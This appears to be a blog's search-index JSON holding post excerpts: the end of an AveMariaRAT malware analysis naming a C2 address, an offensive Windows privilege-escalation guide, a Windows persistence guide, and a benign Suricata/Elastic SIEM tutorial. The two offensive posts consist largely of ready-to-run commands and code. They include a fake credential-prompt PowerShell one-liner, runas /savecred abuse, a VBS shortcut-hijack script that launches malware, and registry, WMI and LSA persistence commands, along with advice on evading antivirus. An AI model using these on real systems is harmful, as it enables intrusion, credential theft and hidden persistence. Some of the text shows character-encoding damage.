33code. âNTDll.dllâ is used just to replace the function that needs to be executed by the user simply to just a number passed to a call to instruction named âsyscallâ, so the malware copy the dll to its memory and parses it to extract those numbers and passing them by itself to the âsyscallâ. Using this way the malware resumes the thread inside the created process to start executing the decrypted code which is the actual sample that will be our RAT. Stage 3 (AveMariaRAT) Proxy config Starting with adding a new entry to the key âSoftware\\Microsoft\\Windows\\CurrentVersion\\Internet Settingsâ which is responsible for configuring the local proxy. There is a folder then created called âMicrosoft Visionâ C2 Server Then the malware tries to reach out for its C2 â193.42.33.225â which appears to be down at the time of analysis. But once the Connection is done with the C2, the machine is ready to receive the commands and execute them in the machine. The command received from the server is then interpreted by this function. Privilege escalation The malware is doing privilege escalation using a separate executable saved in the resources section. Short speaking AveMaria has 2 UAC bypass techniques, and one of them is abusing the DLL Hijacking vulnerability of Dism.exe. This feature uses malware saved with the name WM_DSP in the resource section and abuses the fact the key is HKCU registry key that Auto Elevate program can modify without admin permission. CMD AveMaria can pipe the result of âcmd.exeâ to the socket connection. Keylogging AveMaria has the ability also to act as a key logger. and here is the switch statement for the keylogging The logged strokes are named with the time and saved to the previously mentioned folder âMicrosoft Visionâ Persistance In addition to the ârunâ method mentioned before, AvMaria also has the ability to accomplish persistence by adding a service. Info Stealer AvMaria also has the capability of Info stealers built in. here is a list of enumerated data: Chrome Browser Internet explorer Browser firefox Browser Email clients âoutlookâ⦠RDP Clients âRDPClipâ ","categories": ["Malware Analysis"], 34 "tags": [], 35 "url": "/malware%20analysis/AveMariaRAT/", 36 "teaser": "/assets/images/malware-analysis/AveMariaRAT/run.png" 37 },{ 38 "title": "Windows Privilege escalation", 39 "excerpt":"Password Searching Starting with a simple but really helpful method which is searching for files named with specific names like âPasswordâ across the entire drive using the command dir /b /a /s C:\\ > cdir.txt Intersting files install, backup, .bak, .log, .bat, .cmd, .vbs, .cnf, .conf, .ini, .xml, .txt, .gpg, .pgp, .p12, .der, .csr .cer, id_rsa, id_dsa, .ovpn, vnc, ftp, ssh, vpn git, .kdbx, .db unattended.xml unattend.xml Sysprep.inf sysprep.xml VARIABLES.DAT setupinfo setupinfo.bak web.config SiteList.xml .aws\\credentials .azure\\accessToken.json .azure\\azureProfile.json gcloud\\credentials.db gcloud\\legacy_credentials gcloud\\access_tokens.db Word Search in the registry reg query HKLM /f password \"or any word\" /c REG_SZ /s reg query HKCU /f password \"or any word\" /c REG_SZ /s Credential Manager Itâs a windows utility that is used to store some credentials in windows apps like email or domain or other things. you can view it using the command⦠cmdkey /list Although you canât view those saved credentials you can use the option â/savecredâ to use that saved credentials. So let us assume that the admin credentials are stored there, then you can use the following command to get an admin cmd. runas /savecred /user:admin cmd.exe Credential Prompt you can also just show a prompt for the user asking for the credentials using the following PowerShell one-liner âDonât forget to customize it for your targetâ $Cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\\'+[Environment]::UserName,[Environment]::UserDomainName); $Cred.GetNetworkCredential().Password Unsecured Service Path The service here is meant to be unsecured if its path name is unquoted and contains white space because windows once reach a white space in the string will treat the string before as the end of the path and will not continue until that string is not found, so you can use this trick to make it loads your executable as a service. âshould have permission to write thereâ To enumerate services⦠wmic service get name,displayname,pathname, startmode | findstr /i \"auto\" | findstr /i /v \"c:windows\\\\\" |findstr /i /v \"\"\" Unsecured Service Configuration You can check the services that can be modified by a non-privileged user or group using the sysinternal tool âaccesschk.exeâ accesschk.exe -accepteula -wu vc \"users\" * accesschk.exe -accepteula -k vuqsw hklm\\System\\CurrentControlSet\\Services Unsecure File Permission You can check for files that are writable by regular users accesschk.exe -accepteula -wus \"users\" C:\\*.* > result.txt PATH Hijacking You can query the system PATH using the command reg query \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment\" If there is a controllable path in this list placed at the beginning of the search order you can make the system runs your own binaries instead of the actual ones. Missing Tasks IN Environment that relies on automating work using task schedular that is very common to find tasks linked with binaries that are not presented or deleted or whatever reason for it to be not there, you can use âautorunsc64.exeâ from Sysinternals to check for them using the command⦠autorunsc64.exe -a t | more And once found one of those tasks you can view its details using the command⦠schtasks /query /tn \"task name\" /xml Missing Services The previously described problem in the Missing tasks section is also applied to Services. autorunsc64.exe -a s | more And once found one of those services you can view its details using the command⦠sc qc \"Service name\" DLL Hijacking Once you are in the device then you have knowledge about the applications that are presented on this device, one way to find a way to escalate your privilege is to test the privileged applications used on the machine on your own machine looking for DLL hijacking vulnerabilities. So Whatâs DLL hijacking vulnerability?! Once an application starts it tries to load its needed libraries, the vulnerability here comes when the app search order is looking for that library in a place we control before the actual place of the library and we can easily spot that using the Sysinternals tool âProcmonâ using a good filter will make the process goes quickly.âDonât forget to implement the actual functionality needed by the application on your mal
39icious dll to prevent the app from crashingâ. UAC bypass UAC bypass methods usually result in hijacking the normal execution flow of an elevated application by spawning a malicious child process or loading a malicious module inheriting the elevated integrity level of the targeted application. There is a Project on GitHub called âUACMEâ which is a great source always updated with new techniques and information about every technique, you just have to choose the right one for your situation. âBe careful from being detected by anti-virus products, for that you can take the logic of the code and implement that in your malware with your own evasion techniques to evade easy detectionâ. AlwaysInstallElevated AlwaysInstallElevated is used by windows installers to install msi files when it is set you can install msi files with elevated privileges. you can check if itâs enabled in two registry keysâ both of them need to be setâ. reg query HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated reg query HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated you can use several tools like âMSI Wrapperâ to create msi from your executable. And you can run it using the following command⦠msiexec /quiet /qn /i \"msi path\" Leaked handles When a privileged process spawns a non-privileged child with âCreateProcessAsUserâ API and set the âINHERITâ flag to true, the child can now use all the handles of the parent process and as we have the same privileges as the non-privileged process we can inject code to it and use those handles too. We can view the creation of new processes using Sysinternals tools like âProcmonâ or âApiMonitorâ. Admin to System Creating Service If you already have admin privileges and want to escalate to a system you can create a new service and query it to see what privileges it has, it may be assigned to the system privileges automatically. you can add and query services using the command⦠sc create \"service name\" binpath=\"service path\" sc qc \"service name\" Abusing Tokens If you have admin privileges and need to have system privileges you can use the âSeDebugâ privilege to extract Tokens from system processes âexcept protected processesâ and create a new process with that tokens ","categories": ["Offensive"], 40 "tags": [], 41 "url": "/offensive/Priv-esc/", 42 "teaser": "/assets/images/esc.png" 43 },{ 44 "title": "Windows Persistence", 45 "excerpt":"Non Privileged vector Startup Folder / Registry keys This is a basic technique used a lot, it works by just adding your application in one of those places. copy \"app path\" \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\" reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\" /v MSUpdate /t REG_SZ /d \"app path\" /f Logon Script when the user logs in there is a process called âuserinit.exeâ which does many things one of them is launching Logon Scripts. you can create logon scripts with the following command⦠reg add \"HKEY_CURRENT_USER\\Environment\" /v UserInitMprLogonScript /d \"script path\" /t REG_SZ /f Shortcuts Modification This is working by modifying the command launched by the shortcut.âDonât forget to do that in a way that makes the shortcut behave as expected from the userâ here is a VBS script that does that. âdonât forget to modify it based on your needsâ ' malware path malware = \"\" ' the path of the actual script that will be launched \"Created by the script\" executed_script = \"exec.vbs\" ' target shortcut name lnkName = \"\" ' helper vars set WshShell = WScript.CreateObject(\"WScript.Shell\" ) ' Chose the folder of the lnk file strDesktop = WshShell.SpecialFolders(\"Desktop\" ) set oShellLink = WshShell.CreateShortcut(strDesktop & \"\\\" & lnkName ) origTarget = oShellLink.TargetPath origArgs = oShellLink.Arguments origIcon = oShellLink.IconLocation origDir = oShellLink.WorkingDirectory ' persistence malwareation Set FSO = CreateObject(\"Scripting.FileSystemObject\") Set File = FSO.CreateTextFile
45(executed_script,True) File.Write \"Set oShell = WScript.CreateObject(\" & chr(34) & \"WScript.Shell\" & chr(34) & \")\" & vbCrLf File.Write \"oShell.Run \" & chr(34) & malware & chr(34) & vbCrLf File.Write \"oShell.Run \" & chr(34) & oShellLink.TargetPath & \" \" & oShellLink.Arguments & chr(34) & vbCrLf File.Close oShellLink.TargetPath = executed_script oShellLink.IconLocation = origTarget & \", 0\" oShellLink.WorkingDirectory = origDir oShellLink.WindowStyle = 7 oShellLink.Save ScreenSavers This technique is modifying âor adding if not existâ the value of the screen saver key in the registry to be our app so when the screen saver is triggered that will launch the app. we can do that using the following commands⦠reg add \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" /v \"SCRNSAVE.EXE\" /t REG_SZ /d \"app path\" /f reg add \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" /v \"ScreenSaveTimeOut\" /t REG_SZ /d \"10\" /f Powershell Profile This technique needs PowerShell to run something to be triggered. In PowerShell, profiles are the settings that are saved in a specific folder which is run each time PowerShell is executed. you can do that by the following command⦠echo \"app path\" > %HOMEPATH%\"\\Documents\\windowspowershell\\profile.ps1 DLL Hijacking Once you are in the device then you know the applications that are presented on this device, one way to find a way to persist in the machine is to test the already persistent apps used on the machine on your own machine looking for DLL hijacking vulnerabilities. So Whatâs DLL hijacking vulnerability?! Once an application starts it tries to load its needed libraries, the vulnerability here comes when the app search order is looking for that library in a place we control before the actual place of the library and we can easily spot that using the Sysinternals tool âProcmonâ using a good filter will make the process goes quickly.âDonât forget to implement the actual functionality needed by the application on your malicious dll to prevent the app from crashingâ. Tip: You can filter the procmon search to automatically just show you the dlls that were searched and not found. COM Hijacking Component Object Model (COM) COM is a platform-independent, distributed, object-oriented system for creating binary software components that can interact. when the app needs to call a COM service it uses the following diagram the SCM is given a GUID for the needed COM object and starts searching in the HKCU and will not go to HKLM if he found the needed COM object, and because we have all rights to right on HKCU we can hijack the flow and make the app loads our own dll. we can use task schedular to look for potentially vulnerable apps by exporting its data and searching for the âComHandlerâ tag with the âLogonTrigerâ tag, and search if that COM object is not presented in HKCU. schtasks /query /xml > tasks.xml Scheduled tasks You can register a new task as a non-privileged user using the following command⦠schtasks /create /tn \"task name\" /sc daily /st 09:00 /tr \"app path\" schtasks /query /tn \"task name\" /fo:list /v schtasks /run /tn \"task name\" Priviliged vector Scheduled tasks You can create a new task as a privileged user using the command⦠schtasks /create /sc onlogon /tn AdobeFlashSync /tr \"app path\" schtasks /query /tn \"AdobeFlashSync\" /fo list But tasks are running as a regular user by default so we need to modify things here using the following command we will export the task add a new tag âRunLevelâ with a value âHighestAvailableâ inside the âprincipalsâ tag, then delete the service and create it again from the modified task using the following commands. schtasks /query /tn AdobeFlashSync /xml schtasks /query /tn AdobeFlashSync /xml > tsk.xml ## the task which will be modified schtasks /delete /f /tn AdobeFlashSync schtasks /create /tn AdobeFlashSync /xml tsk.xml Multiple Actions Tasks This technique is the same idea as the previous one but it depends on modifying an existing one not creating a new task, this time the modification will be adding a new tag in the âActionsâ tag which is âExecâ tag that will include âCommandâ tag with the needed command line. Create & Modify Services As a Privileged user, you have the ability to add or modify a service that is running as System b
45y default. commands⦠sc create \"Service name\" binpath= \"service path\" start= auto sc query \"Service name\" sc start \"Service name\" and you can modify using the command sc config UpdateService binpath= \"c:\\windows\\system32\\notepad.exe\" sc stop UpdateService sc start UpdateService Image File Execution Image File Execution Options are used to intercept calls to an executable. Itâs in use for debugging, replacing, and stopping specific executables. Image File Execution Options (IFEO) are used for debugging. it uses three methods for persistence⦠DEBUGGER Inside a Specific key in the registry, you can assign a specific debugger for the application to start under it by adding the information about the process and the debugger there, but be careful, if the app is not really a debugger the target executable will not run properly. Commands⦠reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\\"target name\" /v Debugger /d \"app path\" /reg:\"(32 or 64)\" SILENPROCESSEXIT This technique is the same idea but the monitoring process will be executed when the target exits. commands⦠reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\\"target name\" /v GlobalFlag /t REG_DWORD /d 512 /reg:(32 or 64) reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\\"target name\"\" /v MonitorProcess /d \"app path\" /reg:(32 or 64) reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\\"target name\"\" /v ReportingMode /t REG_DWORD /d 1 /reg:(32 or 64) VERIFIER This is an old technique used for backward compatibility which is assigning a dll under a specific key for the target and that dll will be loaded in the app when it runs. the dll must have a specific implementation as the reason the dll will be attached with âDLL_PROCESS_VERIFIERâ So it must be implemented. commands⦠reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\\"target name\"\" /v VerifierDlls /d \"dll name\" /reg:(32 or 64) /f reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\\"target name\"\" /v GlobalFlag /t REG_DWORD /d 256 /reg:(32 or 64) copy \"dll path\" c:\\windows\\SysWOW64 Application Shims Application Shims is a feature created by Microsoft for backward compatibility, Simply itâs making you able to make a â.sdbâ file that contains new configuration that can be added to the file, This â.sdbâ file can be created using the âCompatibility applicationâ tool for x86 or x64 executables âx86 executable needs to be made with the x86 versionâ. We are interested in the feature that will help us load our malicious DLL with the execution of the program. after we have the â.sdbâ file we can apply the changes to the file using the command⦠sdbinst \"path to the .sdb file\" WMI Event Subscription Its a method of Subscribing to a specific System event, WMI is used to mostly action on every windows event such as logon, logoff, shutdownâ¦etc One of the subscription methods is permanent which can survive reboots. These commands are Subscribing for an event that is triggered when a specific app is in memory, The first line specifies that the second line adds the consumer that will be triggered by that event, and the third line maps between those. wmic /NAMESPACE:\"\\\\root\\subscription\" PATH __EventFilter CREATE Name=\"INFilter\", EventNameSpace=\"root\\cimv2\",QueryLanguage=\"WQL\", Query=\"Select * From __InstanceCreationEvent Within 15 Where (TargetInstance Isa 'Win32_Process' And TargetInstance.Name = 'name of the process')\" wmic /NAMESPACE:\"\\\\root\\subscription\" PATH CommandLineEventConsumer CREATE Name=\"INConsumer\", WorkingDirectory=\"path to cnsumer\", CommandLineTemplate=\"c:\\rto\\PERS\\implant\\implant.exe\" wmic /NAMESPACE:\"\\\\root\\subscription\" PATH __FilterToConsumerBinding CREATE Filter=\"__EventFilter.Name=\\\"INFilter\\\"\", Consumer=\"CommandLineEventConsumer.Name=\\\"INConsumer\\\"\" And you can query those filters using commands⦠wmic /NAMESPACE:\"\\\\root\\subscription\" PATH __EventFilter GET /format:list wmic /NAMESPACE:\"\\\\root\\subscription\" PATH __EventConsumer GET /format:list wmic /NAMESPACE:\"\\\\root\\subscription\" PATH __FilterToConsumerBinding GET /format:list Note: - The Consumer will run with System privileges. - Your Payload will be hidden \"with no GUI\" as WMI is running in session 0 but the desktop is running in session 1. AppCert DLL How this work is when one of the win32 Apis that is responsible for creating a new process is called, DLLs that are registered under a specific key in the registry will be loaded into that newly created process. These functions are⦠CreateProcess() CreateProcessAsUser() CreateProcessWithLogon() CreateProcessWithToken() DLLs must have a specific implementation with an exported function called âCreateProcessNotifyâ which will be called when these APIs happened. command⦠reg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\AppCertDlls\" /V \"AppCert\" /T REG_EXPAND_SZ /D \"path to dll\" /F Note: - You should reboot for the settings to be applied. - This technique doesn't work reliably with GUI applications. AppInit DLL This method is the same as the previously mentioned AppCert way but in a different key in the registry and doesnât need a specific implementation for the DLL, itâs working well with GUI applications, and it doesnât require a reboot. Commands⦠reg add \"HKEY_LOCAL_MACHINE\\S
45oftware\\Microsoft\\Windows NT\\CurrentVersion\\Windows\" /V \"LoadAppInit_DLLs\" /T REG_DWORD /D \"0x1\" /F reg add \"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\" /V \"AppInit_DLLs\" /T REG_SZ /D \"path to dll\" /F Netsh Helper DLL netsh is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending the functionality of the utility. The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at âHKLM\\SOFTWARE\\Microsoft\\Netshâ netsh.exe helper DLLs to trigger the execution of arbitrary code in a persistent manner. This execution would take place anytime netsh.exe is executed commands⦠netsh.exe add helper \"path to dll\" note: the DLL must export a function called \"InitHelperDll\" that will be executed. WinLogon-Shell-UserInit When the user logs into the computer the configuration under the winlogon key has two subkeys which are âShellâ & âUserInitâ, these two values hold applications that will run in user login and they can hold more than one value. commands⦠copy \"path to exe\" c:\\windows\\system32\\ reg query \"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" /V \"Shell\" reg add \"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" /V \"Shell\" /T REG_SZ /D \"explorer.exe,\" name of the exe\" /F or copy \"path to exe\" c:\\windows\\system32\\ reg query \"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" /V \"UserInit\" reg add \"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" /V \"UserInit\" /T REG_SZ /D \"C:\\Windows\\system32\\userinit.exe, \"name of the exe\"\"/F Time Providers Time providers (âw32timeâ service) are used to synchronize time between different machines. you can add a new time provider with your own dll as a persistence technique. note: the DLL must export three functions \"TimeProvOpen\" \"TimeProvCommand\" \"TimeProvClose\" and the code can be found documented in MSDN. commands⦠copy c:\\rto\\PERS\\02.ADMIN\\timeprov\\timeprov.dll c:\\windows\\system32 reg add \"HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\TimeProv\" /t REG_EXPAND_SZ /v \"DllName\" /d \"path to dll\" /f reg add \"HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\TimeProv\" /t REG_DWORD /v \"Enabled\" /d \"1\" /f reg add \"HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\TimeProv\" /t REG_DWORD /v \"InputProvider\" /d \"1\" /f Port Monitors As in the previous section we can accomplish persistence by adding a new key in the registry for Port monitors that are responsible for extending printer functionality. note: the DLL must export one function that will be called which is \"InitializePrintMonitor2\" commands... copy \"dll path\" c:\\windows\\system32\\ reg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors\\PortMonitor\" /v Driver /t REG_SZ /d \"dll name\" /f You can also use win32 API âAddMonitorâ to add a new monitor. Local Security Authority âLSAâ It manages authentication and logons, Holds Credentials material, and Contains local security policy. Security Support Provider Adversaries may abuse security support providers (SSPs) to execute DLLs when the system boots. Windows SSP DLLs are loaded into the Local Security Authority (LSA) process at the system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on userâs Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages and HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages. we can modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called note: the dll must have a standard function exported \"you can look at MSDN\" copy \"path to dll\" c:\\Windows\\System32\\ reg query \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\" /v \"Security Packages\" reg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\" /v \"Security Packages\" /t REG_MULTI_SZ /d \"dll name\" /f Authentication Package Itâs exactly the same with different keys. copy \"path to dll\" c:\\Windows\\System32\\ reg query \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\" /v \"Authentication Packages\" reg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\" /v \"Authentication Packages\" /t REG_MULTI_SZ /d \"msv1_0\"\\0\"name of dll\" /f ","categories": ["Offensive"], 46 "tags": [], 47 "url": "/offensive/persistence/", 48 "teaser": "/assets/images/persist.png" 49 },{ 50 "title": "Open Source SIEM Build", 51 "excerpt":"Overview In this blog, you will explore how to integrate Suricata with Elasticsearch, Kibana, Filebeat, and Winlogbeat to begin creating your own Security Information and Event Management (SIEM) tool using the Elastic stack and Ubuntu. SIEM tools are used to collect, aggregate, store, and analyze event data to search for security threats and suspicious activity on your networks and servers. The components that you will use to build your own SIEM tool are: Elasticsearch to store, index, correlate, and search the security events that come from your Suricata server. Kibana to display and navigate around the security event logs that are stored in Elasticsearch. Filebeat to parse Suricataâs eve.json log file and send each event to Elasticsearch for processing. Suricata to scan your network traffic for suspicious events, and either log or drop invalid packets. Suricata Suricata is a Network Security Monitoring (NSM) tool that uses sets of community-created and user-defined signatures (also referred to as rules) to examine and process network traffic. Suricata can generate log events, trigger alerts, and drop traffic when it detects suspicious packets or requests to any number of different services running on a server. Inastalling Suricata The Installation process is such an easy commands⦠sudo add-apt-repository ppa:oisf/suricata-stable sudo apt install suricata sudo systemctl enable suricata.service If the resulting command was as the following So you are good to continue. suricata.service is not a native service, redirecting to systemd-sysv-install. Executing: /lib/systemd/systemd-sysv-install enable suricata Now you need to close the service to start configuring it. sudo systemctl stop suricata.service Configuring Suricata The Suricata package from the OISF repositories ships with a configuration file that covers a wide variety of use cases. The default mode for Suricata is IDS mode, so no traffic will be dropped, only logged. Leaving this mode set to the default is a good idea as you learn Suricata. Once you have Suricata configured and integrated into your environment and have a good idea of the kinds of traffic that it will alert you about, you can opt to turn on IPS mode. Enabling Community ID Community ID helps you to Find the same event that was recorded from different Solutions. Suricata can include a Community ID field in its JSON output to make it easier to match individual event records to records in datasets generated by other tools. To enable the option, open â/etc/suricata/suricata.yamlâ and change the âCommunity-IDâ field to âtrueâ sudo nano /etc/suricata/suricata.yaml Determining Which
51Network Interfaces To Use You may need to override the default network interface or interfaces that you would like Suricata to inspect traffic on. The configuration file that comes with the OISF Suricata package defaults to inspecting traffic on a device called eth0. If your system uses a different default network interface, or if you would like to inspect traffic on more than one interface, then you will need to change this value. To determine the device name of your default network interface, you can use the ip command as follows⦠ip -p -j route show default output⦠Now you can edit Suricataâs configuration and verify or change the interface name. Open the â/etc/suricata/suricata.yamlâ configuration file. sudo nano /etc/suricata/suricata.yaml Live Reloading Suricata supports live rule reloading, which means you can add, remove, and edit rules without needing to restart the running Suricata process. To enable the live reload option, scroll to the bottom of the configuration file and add the following lines: detect-engine: - rule-reload: true Updating Suricata Rulesets At The beginning Suricata shipped with a small number of rules, So there is a tool called âsuricata-updateâ that can fetch rulesets from external providers. sudo suricata-update Running this will give us the following output which tells us the number of rules added and their location. Note: Suricata have a list of providers some of them are free and others are commercial and you can list them and choose between them using the \"suricata-update\" tool. Validating Suricataâs Configuration Now that you have edited Suricataâs configuration file to include the optional Community ID, specify the default network interface, and enabled live rule reloading, it is a good idea to test the configuration. Suricata has a built-in test mode that will check the configuration file and any included rules for validity. Validate your changes from the previous section using the -T flag to run Suricata in test mode. The -v flag will print some additional information, and the -c flag tells Suricata where to find its configuration file sudo suricata -T -c /etc/suricata/suricata.yaml -v Once your Suricata test mode run completes successfully you can move to the next step, which is starting Suricata in daemon mode. Running Suricata Now we are able to Run Suricata Service. sudo systemctl start suricata.service As with the test mode command, it will take Suricata a minute or two to load and parse all of the rules. You can use the tail command to watch for a specific message in Suricataâs logs that indicates it has finished starting. sudo tail -f /var/log/suricata/suricata.log And just keep waiting until the following message appears Testing Suricata Rules For testing Suricata rules alert we will trigger one using âcurlâ with a site that returns data that looks like that returned from âidâ command in Linux and that should create a log. So we will view the logs file with âtailâ command and fire up the curl command that will trigger a specific rule. sudo tail -f /var/log/suricata/fast.log curl And as expected, here is a catch. You can use the âjqâ tool to search and parse the alerts. sudo apt install jq jq 'select(.alert .signature_id==2100498)' /var/log/suricata/eve.json Elasticsearch and Kibana Now we will create a new virtual machine that will act as our server where we will collect our logs into and also our visualizations. âYou can use the same machine we used before for suricata but I did it this way to make it more extendable for future timeâ Installing Elasticsearch and Kibana Use the following commands to proceed with the installation process. curl -fsSL https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo apt-key add - echo \"deb https://artifacts.elastic.co/packages/7.x/apt stable main\" | sudo tee -a /etc/apt/sources.list.d/elastic-7.x.list sudo apt update sudo apt install elasticsearch kibana Then use the following command to show your IP and Interface that we will use during the configuration phase. ip -brief address show Configuring Elasticsearch
51Configuring Elasticsearch Networking We start by making it listening in the local interface sudo nano /etc/elasticsearch/elasticsearch.yml Find the commented-out #network.host: 192.168.0.1 line and add a new line after it that configures the ânetwork.bind_hostâ setting. our private IP in place of the âyour_private_ipâ address. Add the following two lines at the end of the file. discovery.type: single-node xpack.security.enabled: true The discovery.type setting allows Elasticsearch to run as a single node, as opposed to in a cluster of other Elasticsearch servers. The xpack.security.enabled setting turns on some of the security features that are included with Elasticsearch. Configuring Elasticsearch Passwords Start Elasticsearch using the command sudo systemctl start elasticsearch.service You have enabled the xpack.security.enabled setting, and you need to generate passwords for the default Elasticsearch users. Elasticsearch includes a utility in the /usr/share/elasticsearch/bin directory that can automatically generate random passwords for these users. cd /usr/share/elasticsearch/bin sudo ./elasticsearch-setup-passwords auto Make sure to save them in a good place as you will need them later. Configuring Kibana In the previous section of this tutorial, you configured Elasticsearch to listen for connections on your Elasticsearch serverâs private IP address. You will need to do the same for Kibana so that Filebeats on your Suricata server can reach it. First, youâll enable Kibanaâs xpack security functionality by generating some secrets that Kibana will use to store data in Elasticsearch. Then youâll configure Kibanaâs network setting and authentication details to connect to Elasticsearch. Enabling xpack.security in Kibana To get started with xpack security settings in Kibana, you need to generate some encryption keys. Kibana uses these keys to store session data (like cookies), as well as various saved dashboards and views of data in Elasticsearch. You can generate the required encryption keys using the kibana-encryption-keys utility that is included in the /usr/share/kibana/bin directory. Run the following commands cd /usr/share/kibana/bin/ sudo ./kibana-encryption-keys generate -q Copy your output somewhere secure. You will now add them to Kibanaâs /etc/kibana/kibana.yml configuration file. Now open kibana configuration and add the keys to the end of the file sudo nano /etc/kibana/kibana.yml Configuring Kibana Networking To configure Kibanaâs networking so that it is available on your Elasticsearch serverâs private IP address, find the commented-out #server.host: âlocalhostâ line in /etc/kibana/kibana.yml. Add a new line after it with your serverâs private IP address. Next, youâll need to configure the username and password that Kibana uses to connect to Elasticsearch. Configuring Kibana Credentials There are two ways to set the username and password that Kibana uses to authenticate to Elasticsearch. The first is to edit the /etc/kibana/kibana.yml configuration file and add the values there. The second method is to store the values in Kibanaâs keystore, which is an obfuscated file that Kibana can use to store secrets. Weâll use the keystore method in this tutorial since it avoids editing Kibanaâs configuration file directly If you prefer to edit the file instead, the settings to configure it are elasticsearch.username and elasticsearch.password. If you choose to edit the configuration file, skip the rest of the steps in this section. To add a secret to the keystore using the kibana-keystore utility, run the following command to set the username for Kibana and the password. cd /usr/share/kibana/bin sudo ./kibana-keystore add elasticsearch.username sudo ./kibana-keystore add elasticsearch.password Starting kibana sudo systemctl start kibana.service Filebeat Filebeat is an agent used in Linux to forward the logs to the collecting server So we will start installing and configuring it to forward the logs from the suricata machine to the elastic server. Installing Filebeat Use the following commands to proceed with the installation. curl -fsSL https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo apt-key add - echo \"deb https://artifacts.elastic.co/packages/7.x/apt stable main\" | sudo tee -a /etc/apt/sources.list.d/elastic-7.x.list sudo apt update sudo apt install filebeat Configuring Filebeat Next, youâll need to configure Filebeat to connect to both Elasticsearch and Kibana. Open the /etc/filebeat/filebeat.yml configuration file. sudo nano /etc/filebeat/filebeat.yml In the Kibana section add a new line âhost: âyour_private_ip:5601â with the private IP of the server after the commented line â#host: âlocalhost:5601ââ as follows. This change will ensure that Filebeat c
51an connect to Kibana in order to create the various SIEM indices, dashboards, and processing pipelines in Elasticsearch to handle your Suricata logs. Next, find the Elasticsearch Output section of the file and edit the hosts, username, and password settings to match the values for your Elasticsearch server Substitute in your Elasticsearch serverâs private IP address on the hosts line in place of the your_private_ip value. Uncomment the username field and leave it set to the elastic user. Change the password field from changeme to the password for the elastic user that you generated in the âConfiguring Elasticsearch Passwordsâ section Now you can enable Filebeatsâ built-in Suricata module with the following command sudo filebeat modules enable suricata Now that Filebeat is configured to connect to Elasticsearch and Kibana, with the Suricata module enabled, the next step is to load the SIEM dashboards and pipelines into Elasticsearch. Run the filebeat setup command. It may take a few minutes to load everything. sudo filebeat setup If there are no errors, use the systemctl command to start Filebeat. It will begin sending events from Suricataâs eve.json log to Elasticsearch once it is running. sudo systemctl start filebeat.service Now that you have Filebeat, Kibana, and Elasticsearch configured to process your Suricata logs, the last step in this tutorial is to connect to Kibana and explore the SIEM dashboards. If you encountered a âkibana is not ready yetâ error and got stuck in trouble shooting, you can follow the following link Ready to use configuration just copy and paste the configuration based on the instructions provided, and donât forget to customize the Filebeat configuration according to the new password and user name for elastic. If still stuck and want to move on, you can simply disable xpack until you can troubleshoot the problem. Browsing Kibana SIEM Dashboards To display the logs sent by Filebeat you can search in the search bar with type:dashboard suricata Windows logs collection âWinlogbeatâ For the sake of more clarity we will add another log source to our SIEM which is windows event logs. We will need a windows machine to collect the events from So you can set up one as a virtual machine. Installation download Winlogbeat from the link below Winlogbeat download link Extract the contents into C:\\Program Files. Rename the winlogbeat- directory to Winlogbeat. Open a PowerShell prompt as an Administrator (right-click on the PowerShell icon and select Run As Administrator). From the PowerShell prompt, run the following commands to install the service. cd 'C:\\Program Files\\Winlogbeat' .\\install-service-winlogbeat.ps1 Configure Winlogbeat Open the âwinlogbeat.ymlâ file to start configuration editting. In the Elasticsearch section enter your elastic server ip, username, and password Under winlogbeat.event_log, specify a list of event logs to monitor. By default, Winlogbeat monitors application, security, and system logs. 